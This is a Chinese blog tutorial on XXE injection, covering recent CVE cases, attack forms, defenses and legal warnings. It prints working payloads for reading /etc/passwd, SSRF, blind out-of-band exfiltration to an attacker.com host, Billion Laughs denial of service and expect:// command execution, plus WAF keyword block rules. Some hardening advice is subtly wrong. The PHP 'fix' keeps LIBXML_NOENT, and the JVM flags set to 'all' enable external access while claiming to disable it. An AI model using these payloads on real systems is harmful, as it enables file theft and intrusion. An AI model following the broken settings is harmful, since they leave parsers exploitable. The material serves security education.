XML外部实体注入（XXE）漏洞：从原理到防御的全面解析

原创 已于 2026-04-23 13:47:46 修改 · 955 阅读 · 7 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#xml

于 2026-04-23 13:37:40 首次发布

一、XXE漏洞的基本概念与原理

XML外部实体注入（XML External Entity Injection，简称XXE）是一种针对XML解析器的安全漏洞，常年位列OWASP Top 10安全威胁榜单。它的本质是攻击者利用XML解析器在处理包含恶意外部实体声明的XML文档时，未对外部资源的加载行为做限制，从而实施非法操作的一类注入型漏洞。

XML与DTD基础

XML（可扩展标记语言）是一种用于传输和存储数据的标记语言，广泛应用于Web服务、配置文件、数据交换等场景。DTD（文档类型定义）是XML文档的语法规则定义，其中包含实体（Entity）的概念。实体就像是XML中的变量，可以引用内部或外部的内容。

实体分类：

  • 内部实体：值直接定义在XML文档内部

    <!ENTITY internal "Hello World">

  • 外部实体：值来源于外部文件或网络资源

    <!ENTITY external SYSTEM "file:///etc/passwd">

XXE漏洞产生机制

当应用程序接收用户可控的XML输入，并使用配置不当的XML解析器处理时，攻击者可以在XML中插入恶意的外部实体声明，诱导解析器加载攻击者指定的外部资源。

一个典型的恶意XXE Payload：

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

当不安全的XML解析器处理这个文档时，它会读取file:///etc/passwd文件的内容，并将其插入到&xxe;的位置，从而导致敏感文件泄露。

二、与时俱进：2025-2026年最新XXE漏洞案例

尽管XXE漏洞已存在多年，但在新的技术栈和组件中仍不断出现。以下是2025-2026年间曝出的几个典型案例：

1. Apache Tika严重XXE漏洞（CVE-2025-66516）

2025年底曝出的这个严重漏洞CVSS评分高达10分。Apache Tika是一个开源的内容分析工具，用于从各种文档格式中提取文本和元数据。

漏洞原理：为了解析PDF XFA中的XML数据，Tika通过XMLReaderUtils类构造XMLStreamReader，但getXMLInputFactory中的property并未对外部实体和外部DTD进行防护，同时setXMLResolver中的Handler处理时将外部实体设置为空字符串。这导致使用JDK内部的stax XML解析器处理XML文件时出现XXE问题。

影响范围：

  • tika-core（1.13-3.2.1）

  • tika-parser-pdf-module（2.0.0-3.2.1）

  • tika-parsers（1.13-1.28.5）

修复方案：升级至tika-core ≥3.2.2、tika-parser-pdf-module ≥3.2.2。

2. GeoServer XML外部实体注入漏洞（CVE-2025-58360）

GeoServer是一款开源的地理空间数据服务器，广泛应用于GIS领域。2025年11月披露的该漏洞影响/geoserver/wms端点的GetMap操作。

技术细节：漏洞出在src/wms/src/main/java/org/geoserver/sld/SLDXmlRequestReader.java文件中。问题代码中第四个参数传入了null，这意味着没有传入任何实体解析器，底层默认使用标准XML解析器的行为——允许DOCTYPE声明和外部实体引用。

攻击影响：攻击者可以通过构造恶意的XML请求读取服务器本地文件或发起SSRF攻击。根据网络监测数据，互联网上暴露了超过14,000个GeoServer实例，其中2,451个具有GeoServer指纹的IP地址。

修复建议：升级至GeoServer 2.25.6、2.26.3或2.27.0。

3. Apache Struts XXE漏洞（CVE-2025-68493）

Apache Struts作为流行的Java Web框架，在2026年初被曝出存在XXE漏洞。XWork-Core组件在解析XML配置文件时，未对XML外部实体进行充分校验与限制。

影响版本：

  • 2.0.0-2.3.37

  • 2.5.0-2.5.33

  • 6.0.0-6.1.0

解决方案：升级到Apache Struts 6.1.1及以上版本。

4. Apache Syncope XXE漏洞（CVE-2026-23795）

Apache Syncope身份管理控制台在2026年2月被曝出存在严重的XXE漏洞。当管理员创建或编辑Keymaster参数时，控制台中对XML外部实体引用的限制不当，会为XXE攻击打开通道。

危害：具有管理员权限的攻击者可构造恶意XML payload，导致敏感用户数据泄露并攻陷会话安全。鉴于Syncope作为用户身份与访问管理平台的角色，该漏洞的影响不仅限于个别会话，更可能危及整个认证基础设施。

5. Cisco ISE XXE漏洞（CVE-2026-20029）

Cisco Identity Services Engine（ISE）和ISE-PIC在2026年1月被曝出存在CVSS评分4.9的XXE漏洞。虽然需要管理员权限，但攻击者可突破应用沙箱读取系统文件，且PoC已公开。

三、XXE攻击的多种形式与危害

XXE攻击远不止是读取文件那么简单，它有着多种攻击形式和严重的危害：

1. 敏感文件读取

这是最基本的攻击形式，通过file://协议读取服务器上的敏感文件：

  • /etc/passwd、/etc/shadow（Linux系统）

  • C:\Windows\System32\drivers\etc\hosts（Windows系统）

  • 应用程序配置文件、数据库连接字符串

  • SSH私钥、SSL证书等

2. 服务端请求伪造（SSRF）

通过http://、https://、ftp://等协议，攻击者可以：

  • 探测内网服务拓扑结构

  • 访问内网未授权接口

  • 利用内网应用的身份认证cookie进行进一步攻击

  • 作为跳板攻击其他内部系统

示例Payload：

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://192.168.1.100:8080/admin">
]>

3. 盲注XXE（Blind XXE）

当攻击结果不直接回显时，攻击者可以通过外带技术（Out-of-Band）获取数据：

攻击流程：

  1. 攻击者托管恶意DTD文件（如http://attacker.com/evil.dtd）：

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://attacker.com/?data=%file;'>">

  2. 触发XML解析：

    <!DOCTYPE root [
  <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
  %remote;
  %int;
  %send;
]>

  3. 攻击者服务器接收Base64编码的数据并解码

4. 拒绝服务攻击（DoS）

通过递归定义参数实体，可以实施"十亿笑声攻击"（Billion Laughs Attack）：

<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>

一个包含10层递归的实体引用可生成超过10亿次解析操作，耗尽服务器内存资源。

5. 命令执行（特定环境）

在某些特定配置下，结合PHP的expect://伪协议可以实现命令执行：

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "expect://id">
]>
<data>&xxe;</data>

四、XXE漏洞防御措施与最佳实践

防御XXE漏洞需要从代码层、架构层到运维层的全方位防护。以下是2025-2026年的最新防御实践：

1. 代码层防御：禁用外部实体与安全解析

Java环境配置
// SAXParserFactory防护
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

// DocumentBuilderFactory防护
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setExpandEntityReferences(false);

// XMLInputFactory防护
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
PHP环境配置
// 最有效的方法：禁用外部实体加载
libxml_disable_entity_loader(true);

// 使用DOMDocument时的安全配置
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // 危险配置
// 应改为：
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT); // 禁用DTD加载
Python环境配置
from lxml import etree

# 使用lxml时的安全配置
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(xml_file, parser)

# 或者使用defusedxml库
from defusedxml.ElementTree import parse
tree = parse(xml_file)
.NET环境配置
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit; // 禁用DTD处理
settings.XmlResolver = null; // 禁用XML解析器
XmlReader reader = XmlReader.Create(inputStream, settings);

2. 输入验证与过滤

在XML解析前进行严格的输入验证：

// 剥离危险DOCTYPE声明
$filtered = preg_replace('/<!DOCTYPE[^>[]*(\[[^]]*\])?>/', '', $input);

// 检查是否包含外部实体引用
if (preg_match('/<!ENTITY.*SYSTEM/i', $input)) {
    throw new Exception("Malicious XML detected");
}

// 使用白名单验证XML结构
$schema = __DIR__.'/schema.xsd';
libxml_use_internal_errors(true);
if (!$xml->schemaValidate($schema)) {
    throw new Exception("Invalid XML structure");
}

3. 架构层防御

Web应用防火墙（WAF）规则

部署WAF拦截包含恶意实体payload的请求：

  • 拦截包含<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC等关键词的请求

  • 检测file://、http://、ftp://等危险协议

  • 限制XML文档大小，防止DoS攻击

网络隔离与最小权限原则

  • Web应用使用低权限用户运行，限制文件系统访问范围

  • XML解析服务部署在隔离的网络区域

  • 禁用不必要的网络协议和端口

  • 实施严格的网络访问控制策略

协议白名单限制

如果业务允许，禁用高危协议：

// 自定义EntityResolver，只允许特定协议
public class SafeEntityResolver implements EntityResolver {
    @Override
    public InputSource resolveEntity(String publicId, String systemId) {
        // 只允许https协议
        if (systemId != null && systemId.startsWith("https://")) {
            return null; // 让解析器使用默认行为
        }
        // 其他协议一律拒绝
        throw new SAXException("External entity not allowed: " + systemId);
    }
}

4. 替代方案与升级策略

优先使用JSON替代XML

如果业务允许，优先采用JSON作为数据交换格式：

{
  "user": {
    "name": "John",
    "email": "john@example.com"
  }
}
及时升级依赖库

定期更新XML解析库和相关组件：

  • 使用自动化依赖检查工具（如OWASP Dependency-Check）

  • 关注安全公告，及时应用安全补丁

  • 对于不再维护的旧版本库，考虑迁移到新版本

SOAP协议安全配置

对于使用SOAP协议的Web服务：

// Apache CXF配置
System.setProperty("org.apache.cxf.stax.allowEntities", "false");

// 禁用不必要的协议
// 如果不需要文件上传功能，应禁用MTOM/XOP支持[10](@ref)

5. 运行时环境加固

PHP运行时配置
; php.ini配置
allow_url_fopen = Off
allow_url_include = Off
Java虚拟机参数
# 禁用外部实体处理
-Djavax.xml.accessExternalDTD=all
-Djavax.xml.accessExternalSchema=all

五、自动化检测与安全开发实践

1. 代码审计与白盒测试

关键函数/类检查：

  • PHP：simplexml_load_string()、DOMDocument::loadXML()

  • Java：DocumentBuilder.parse()、SAXParser.parse()

  • Python：lxml.etree.parse()、xml.etree.ElementTree.parse()

依赖库版本检查：

# 检查libxml2版本（Linux）
apt list --installed | grep libxml2

# Maven项目检查
mvn dependency:tree | grep xerces
mvn dependency:tree | grep xalan

2. 黑盒测试与渗透测试

测试步骤：

  1. 修改请求类型：将Content-Type从application/json改为application/xml

  2. 提交测试载荷：

    <?xml version="1.0"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>&xxe;</test>

  3. 探测XML处理接口：尝试访问/api.ashx、/service.svc、/data.xml等路径

  4. 使用自动化工具：

    • XXEinjector：支持多协议探测与盲注自动化

    • Burp Suite插件：通过Collaborator检测带外请求

    • OWASP ZAP：内置XXE扫描规则

3. 安全开发规范

  1. 安全编码培训：开发人员必须了解XXE漏洞的原理和危害

  2. 代码审查流程：将XXE检测纳入代码审查清单

  3. 自动化安全测试：在CI/CD流水线中集成SAST工具

  4. 漏洞奖励计划：鼓励白帽子报告XXE漏洞

六、总结与展望

XXE漏洞虽然是一个"古老"的安全问题，但在现代Web应用中仍然广泛存在。从2025-2026年的最新案例可以看出，即使是Apache Tika、GeoServer、Apache Struts等成熟的开源项目，也仍然会受到XXE漏洞的影响。

关键要点总结：

  1. XXE漏洞的本质是XML解析器对外部实体处理不当

  2. 攻击形式多样：从文件读取到SSRF，从盲注到DoS

  3. 防御需要多层次：代码层禁用外部实体、输入验证、架构层WAF、网络隔离

  4. 与时俱进很重要：及时更新依赖库，关注最新安全公告

  5. 安全意识是关键：开发人员的安全意识和规范的开发流程是防御的第一道防线

随着微服务架构和API经济的兴起，XML作为数据交换格式的使用虽然有所减少，但在企业级应用、地理信息系统、内容管理系统等领域仍然广泛使用。因此，XXE漏洞的防御仍然是Web安全中不可忽视的重要环节。

未来趋势：

  1. 自动化防御工具的发展将更加智能化

  2. 云原生环境下的XXE防御需要新的策略

  3. AI辅助代码审计将提高XXE漏洞的发现效率

  4. 供应链安全将成为XXE防御的新焦点

通过全面的防御策略和持续的安全意识教育，我们可以有效降低XXE漏洞带来的风险，构建更加安全的Web应用环境。

七、法律与道德警示：技术学习的正确边界

在深入探讨XXE漏洞原理与防御技术的同时，我们必须明确强调网络安全技术的合法使用边界。本文所有技术内容仅供合法授权下的安全研究、漏洞防御和安全教育之目的。

1. 明确法律红线

根据《中华人民共和国网络安全法》、《中华人民共和国刑法》及相关法律法规：

  • 第二百八十五条【非法侵入计算机信息系统罪】违反国家规定，侵入计算机信息系统或者采用其他技术手段，获取该计算机信息系统中存储、处理或者传输的数据，或者对该计算机信息系统实施非法控制，情节严重的，处三年以下有期徒刑或者拘役，并处或者单处罚金；情节特别严重的，处三年以上七年以下有期徒刑，并处罚金。

  • 第二百八十六条【破坏计算机信息系统罪】违反国家规定，对计算机信息系统功能进行删除、修改、增加、干扰，造成计算机信息系统不能正常运行，后果严重的，处五年以下有期徒刑或者拘役；后果特别严重的，处五年以上有期徒刑。

重要提示：未经授权的任何渗透测试、漏洞利用、数据获取行为均属违法，无论目的是否为"学习"或"测试"。

2. 合法学习与研究途径

如果您希望将XXE漏洞知识应用于合法场景：

授权测试环境：

  • 搭建本地虚拟机环境（如DVWA、WebGoat、bWAPP）

  • 使用云服务商提供的授权测试环境

  • 参与企业授权的众测项目

合法研究平台：

  • 国家网络安全宣传周配套的合法攻防演练平台

  • CNCERT/CNVD等官方漏洞平台授权的研究项目

  • 各大SRC（安全应急响应中心）的授权测试范围

认证与培训：

  • 参加国家认可的网络安全培训课程

  • 获取CISP、CISSP等专业认证

  • 高校网络安全专业系统学习

3. 技术人员的职业伦理

真正的安全专家应遵循以下伦理准则：

  1. 授权原则：仅在获得明确书面授权的前提下进行测试

  2. 最小影响原则：测试应以最小化对系统的影响为目标

  3. 保密原则：对测试中发现的漏洞和敏感信息严格保密

  4. 报告原则：通过合法渠道向相关方报告发现的安全问题

  5. 建设性原则：以改善系统安全状况为最终目的

4. 违法后果警示

近年来，多起"以学习为目的"的网络安全违法行为被依法查处：

  • 2023年，某高校学生因未经授权测试学校系统并获取数据，被判处有期徒刑一年，缓刑一年

  • 2024年，某公司前员工利用已知漏洞访问原公司系统，被以非法获取计算机信息系统数据罪起诉

  • 2025年，某"白帽子"因在未授权情况下测试政府网站并公开漏洞细节，面临法律制裁

技术本身无罪，但应用技术的意图和行为决定其性质。安全研究人员应始终将法律和道德底线置于技术探索之前。

5. 正向运用建议

将您的技术能力应用于以下合法且有价值的领域：

  • 企业安全建设：加入企业安全团队，从事防御体系构建

  • 安全产品开发：参与防火墙、WAF、漏洞扫描器等安全产品研发

  • 安全教育培训：在学校或培训机构教授网络安全知识

  • 开源项目贡献：参与开源安全工具的开发与维护

  • 漏洞研究披露：通过CNVD、CNNVD等官方渠道负责任地披露漏洞

最后再次强调：本文提供的所有技术细节、漏洞原理和攻击方法，仅供防御目的的学习研究。任何未经授权的测试、利用行为都将面临法律严惩。网络安全领域需要的是守护者，而非破坏者。让我们共同维护清朗网络空间，将技术能力用于建设而非破坏，这是每一位技术人员的社会责任和职业荣誉所在。

记住：真正的技术高手不是能突破多少系统，而是能保护多少系统免遭破坏。安全之路，正道而行。

XXE漏洞详解（全网最详细）
qq_61553520的博客
05-09 1万+
XXE：全称为XML Enternal Entity Injection，中文名称：XML外部实体注入。
XXE漏洞简介
不怕死的假老练
09-05 2811
一、概述 XXE(XML External Entity Injection)，即MXL外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站，发起dos攻击。 XXE漏洞触发的点出现在系统可以上传XML文件的位置，应用程序对XML输入进行解析时，没有对上传的XML文件内容进行过滤，没有禁止加载外部实体，导致攻击者可以构造一个恶意的XML文件进行上传。 二、基本概念 1.XML XML，即可扩展
XXE漏洞详解
weixin_56714714的博客
07-25 8476
XXE 什么是XXE? ​ XXE全程xml外部实体，从安全角度来讲，由此引发的漏洞称之为XML外部实体攻击 XML作为一种使用较为广泛的数据传输格式，很多应用程序都包含有处理xml数据的代码， 许多过时或配置不当的XML处理器都会对外部实体进行引用，如果攻击者可以上传XML文档或者在XML文档 中添加恶意内容，通过易受攻击的代码，就能够攻击包含缺陷的XML处理器，XXE漏洞的出现和开发语言无关 只要是应用程序中对XML数据做了解析，而且这些数据又受用户控制，那么应用程序都可能受到XXE攻击 什么是XML？
Web漏洞-XXE漏洞(详细)
Ays.Ie的博客
03-11 6034
该篇描述Web漏洞-XXE漏洞(详细）
【XXE漏洞安全-全网最详细讲解】
LCW991207的博客
08-04 6351
XXE（XML External Entity）漏洞是一种安全漏洞，出现在使用XML解析器的应用程序中。它允许攻击者利用可信任的XML扩展功能来执行恶意操作，如读取本地文件、发起远程网络请求或执行任意命令。XXE漏洞的发生通常是由于应用程序在解析XML输入时未正确验证或限制实体引用。攻击者可以通过构造恶意的XML输入，将外部实体（external entity）引用进来，然后利用这些实体来获取敏感信息或进行其他攻击。
XML外部实体注入（XXE）漏洞深度解析：从原理到防御（含Pikachu全场景实操）
最新发布
Flying_Fish_roe的博客
10-24 1138
本文深入剖析XXE（XML外部实体注入）漏洞的原理与危害。通过真实案例（如微软Exchange漏洞CVE-2021-26855）展示其破坏力，指出XXE成为"常青树"漏洞的原因在于XML的广泛使用和开发者安全意识不足。文章采用生活类比解释XXE本质，详细讲解XML结构、实体分类及解析器行为等基础概念，并分析XXE漏洞触发条件（解析器允许外部实体、路径可控、结果可回显）。最后指出不同语言XML解析器的默认配置差异，强调安全配置的重要性。
XXE漏洞
2401_89283903的博客
08-15 873
【摘要】XXE（XML外部实体注入）是一种利用XML解析漏洞的攻击方式，攻击者通过伪造外部实体诱导程序解析恶意内容。XML文档结构包括声明、DTD定义和元素，其中DTD定义可能引入外部实体导致漏洞。现代系统多采用JSON替代XML传输数据，且PHP等语言的XML解析库（如libxml≥2.9.0）默认禁用外部实体解析。攻击示例包括有回显（直接读取文件）和无回显（通过外带数据通道）两种方式。防御措施包括升级libxml版本、代码层面禁用实体解析（如PHP的libxml_disable_entity_loade
XXE（XML External Entity Injection）漏洞详解：解析器的致命风险
2301_79700961的博客
08-18 1154
XXE（XML External Entity Injection）是 Web 应用中严重的安全漏洞，攻击者通过在 XML 数据中注入 外部实体，可能导致敏感信息泄露、服务拒绝（DoS）、服务器端请求伪造（SSRF）或远程代码执行（RCE）。XXE 指攻击者在 XML 文档中注入 外部实体定义，当 XML 解析器处理实体时，将访问本地文件或远程资源，从而泄露敏感信息或执行恶意操作。LFI（本地文件读取）、SSRF（内网扫描）、RFI（远程文件读取）、DoS。
[WEB安全]XXE漏洞总结
baguangman5501的博客
07-28 576
目录 0x00 XML基础 0x01 XML文档结构 0x02 DTD 0x03 实体 0x04 XXE漏洞 0x05 总结一些payload 0x06 XXE漏洞修复与防御 0x07 参考链接 ...
【全网最详细】XXE漏洞详解
2301_79455190的博客
12-10 3182
XXE：全称为XML Enternal Entity Injection，中文名称：XML外部实体注入。XXE漏洞产生在外部实体主要有4个利用方向：文件读取，命令执行，DOS攻击，SSRF按照有无回显可以分为两大类无回显可以加载外部实体，返回数据到我们Vps上；或者加载本地实体报错回显本文转自allv100，如有侵权，请联系删除。给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。
网络安全课第五节 XXE 漏洞的检测与防御
fegus的博客
07-11 2008
上一讲我们介绍了 SSRF 漏洞，一种专门针对服务端的请求伪造攻击，常被用于攻击内网。在里面我介绍了 Burp Collaborator 用于专门测试无回显漏洞的功能，在本讲的 XXE 漏洞测试中，我们依然可以使用，不知道你是否还记得怎么使用？下面，我们就开始今天的课程，一场关于 XML 外部实体注入（XXE）漏洞的攻防之路。XXE（XML External Entity，XML 外部实体注入）正是当允许引用外部实体时，通过构造恶意内容，导致读取任意文件、执行系统命令、内网探测与攻击等危害的一类漏洞。PHP
XXE是什么？XXE漏洞原理及案例讲解（从0到1完全掌握XXE）
热门推荐
白帽黑客八哥的博客
12-14 1万+
XXE（XML外部实体注入）是一种针对应用程序处理XML数据的方式的攻击。XML文档可以定义实体，它们是存储文档中其他地方重复使用的数据的方式。外部实体是一种特殊类型的实体，它们的内容被定义在XML文档外部。XXE漏洞发生在当应用程序解析含有外部实体引用的XML文档时，没有正确地限制或禁止这些外部实体的使用。XXE是一种严重的安全漏洞，它的存在可能导致严重的安全风险。开发人员和安全专家必须了解此类漏洞的工作原理，确保在处理XML数据时采取适当的安全措施，以保护应用程序和数据的安全。
渗透测试——漏洞扫描工具
wuli1024的博客
11-20 4667
然后还要将all这个压缩包里的plugin_feed_info.inc提取出来，命令行是 tar -zxvf all-2.0.tar.gz plugin_feed_info.inc，然鹅，我提取不出来。将下载好的插件移动到Nessus目录下，然后输入sudo /opt/nessus/sbin/nessuscli update all-2.0.tar.gz。用户名和密码随便写写就好，随后将会更新补丁，OK，这样Nessus可以使用了。将会获得一串数字，然后去激活码的这个网站，输入自己的邮箱获取激活码。
Web安全之XXE漏洞原理及实践学习
Continuejww的博客
12-12 2661
即XML外部实体注入漏洞。攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)，导致可加载等危害。一句话概括：用户传入的XML被解析成实体执行。
XXE漏洞详解 一文了解XXE漏洞
闵行小鱼塘
11-10 4359
本篇总结归纳XXE漏洞
XML外部实体注入漏洞——XXE简单分析
未完成的歌~的博客
02-01 3498
前言： 前几天做了南邮 NJUPT CTF的几道题，感觉自己要学的的东西还有太多！今天借着比赛中的一道Web题 来系统的学习下XML外部实体注入(XML External Entity Injection) 题目：Fake XML cookbook 题目：Fake XML cookbook 平台暂时还未关闭，想要复现的抓紧了！ 网址：https://nctf.x1c.club/challenges#Web ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值